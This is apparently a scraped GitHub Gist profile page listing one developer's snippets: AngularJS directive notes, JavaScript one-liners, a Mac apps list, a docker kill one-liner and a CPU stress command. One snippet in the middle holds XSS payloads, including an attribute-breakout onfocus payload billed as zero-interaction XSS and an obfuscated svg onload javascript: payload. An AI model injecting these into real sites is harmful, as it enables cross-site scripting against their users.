Skip to content

Instantly share code, notes, and snippets.

View generalistcodes's full-sized avatar

kim monzon generalistcodes

View GitHub Profile
@generalistcodes
generalistcodes / directive.md
Created March 30, 2017 08:05
AngularJS Directive Attribute Binding Explanation

=====================================================================

When using directives, you often need to pass parameters to the directive. This can be done in several ways. The first 3 can be used whether scope is true or false. This is still a WIP, so validate for yourself.

  1. Raw Attribute Strings

    <div my-directive="some string" another-param="another string"></div>
### Keybase proof
I hereby claim:
* I am kedomonzter on github.
* I am kedomonzter (https://keybase.io/kedomonzter) on keybase.
* I have a public key ASBU5gihlbCeVYSbZdWxNTxwGZk1QB-UXSwKciNpLWTb5Ao
To claim this, I am signing this object:
@generalistcodes
generalistcodes / mac-apps.md
Created November 21, 2017 03:20 — forked from erikreagan/mac-apps.md
Mac developer must-haves

Mac web developer apps

This gist's comment stream is a collection of webdev apps for OS X. Feel free to add links to apps you like, just make sure you add some context to what it does — either from the creator's website or your own thoughts.

— Erik

@generalistcodes
generalistcodes / oneliners.js
Created April 8, 2019 19:02 — forked from mikowl/oneliners.js
👑 Awesome one-liners you might find useful while coding.
// By @coderitual
// https://twitter.com/coderitual/status/1112297299307384833
// Remove any duplicates from an array of primitives.
const unique = [...new Set(arr)]
// Sleep in async functions. Use: await sleep(2000).
const sleep = (ms) => (new Promise(resolve => setTimeout(resolve, ms)));
// Type this in your code to break chrome debugger in that line.
@generalistcodes
generalistcodes / button_example.md
Created September 21, 2020 23:15 — forked from jeremyjordan/button_example.md
Streamlit button example
@generalistcodes
generalistcodes / .block
Created December 14, 2020 12:46 — forked from mbostock/.block
DATA VISUALIZATION: Hierarchical Edge Bundling
license: gpl-3.0
height: 960
border: no
redirect: https://observablehq.com/@d3/hierarchical-edge-bundling
@generalistcodes
generalistcodes / docker_kill.sh
Created June 30, 2022 07:30 — forked from evanscottgray/docker_kill.sh
kill all docker containers at once...
docker ps | awk {' print $1 '} | tail -n+2 > tmp.txt; for line in $(cat tmp.txt); do docker kill $line; done; rm tmp.txt
" onfocus="alert(1)" name="bounty
(Append #bounty to the URL and enjoy your zero interaction XSS )
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
# Internet Explorer, Edge
<svg><script>alert(1)<p>
# Firefox
@generalistcodes
generalistcodes / cpu-stress.md
Created March 17, 2024 19:00
Stress the CPU with four worker threads for 320 seconds
sudo amazon-linux-extras install epel -y
sudo yum install stress -y
#Stress the CPU with four worker threads for 320 seconds
sudo stress --cpu 4 --timeout 320